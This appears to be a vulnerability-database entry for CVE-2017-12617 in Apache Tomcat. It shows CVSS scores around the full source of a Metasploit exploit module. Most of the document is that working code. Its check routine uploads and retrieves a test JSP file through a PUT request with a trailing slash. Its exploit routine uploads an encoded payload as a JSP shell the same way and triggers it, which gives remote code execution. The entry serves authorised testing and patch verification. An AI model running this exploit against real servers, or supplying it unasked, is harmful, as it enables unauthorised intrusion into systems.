CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
This module uses a PUT request bypass to upload a jsp shell to a vulnerable Apache Tomcat configuration.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Tomcat RCE via JSP Upload Bypass',
'Description' => %q{
This module uses a PUT request bypass to upload a jsp shell to a vulnerable Apache Tomcat configuration.
},
'Author' => 'peewpw',
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2017-12617' ],
[ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ],
[ 'EDB', '42966' ]
],
'Privileged' => false,
'Platform' => %w[linux win], # others?
'Targets' => [
[
'Automatic',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
],
[
'Java Windows',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
],
[
'Java Linux',
{
'Arch' => ARCH_JAVA,
'Platform' => 'linux'
}
]
],
'DisclosureDate' => '2017-10-03',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The URI path of the Tomcat installation', '/']),
Opt::RPORT(8080)
])
end
def check
testurl = Rex::Text.rand_text_alpha(10)
testcontent = Rex::Text.rand_text_alpha(10)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
'method' => 'PUT',
'data' => "<% out.println(\"#{testcontent}\");%>"
})
res1 = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
'method' => 'GET'
})
if res1 && res1.body.include?(testcontent)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
'method' => 'DELETE'
)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status('Uploading payload...')
testurl = Rex::Text.rand_text_alpha(10)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
'method' => 'PUT',
'data' => payload.encoded
})
if res && res.code == 201
res1 = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
'method' => 'GET'
})
if res1 && res1.code == 200
print_status('Payload executed!')
else
fail_with(Failure::PayloadFailed, 'Failed to execute the payload')
end
else
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
end
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H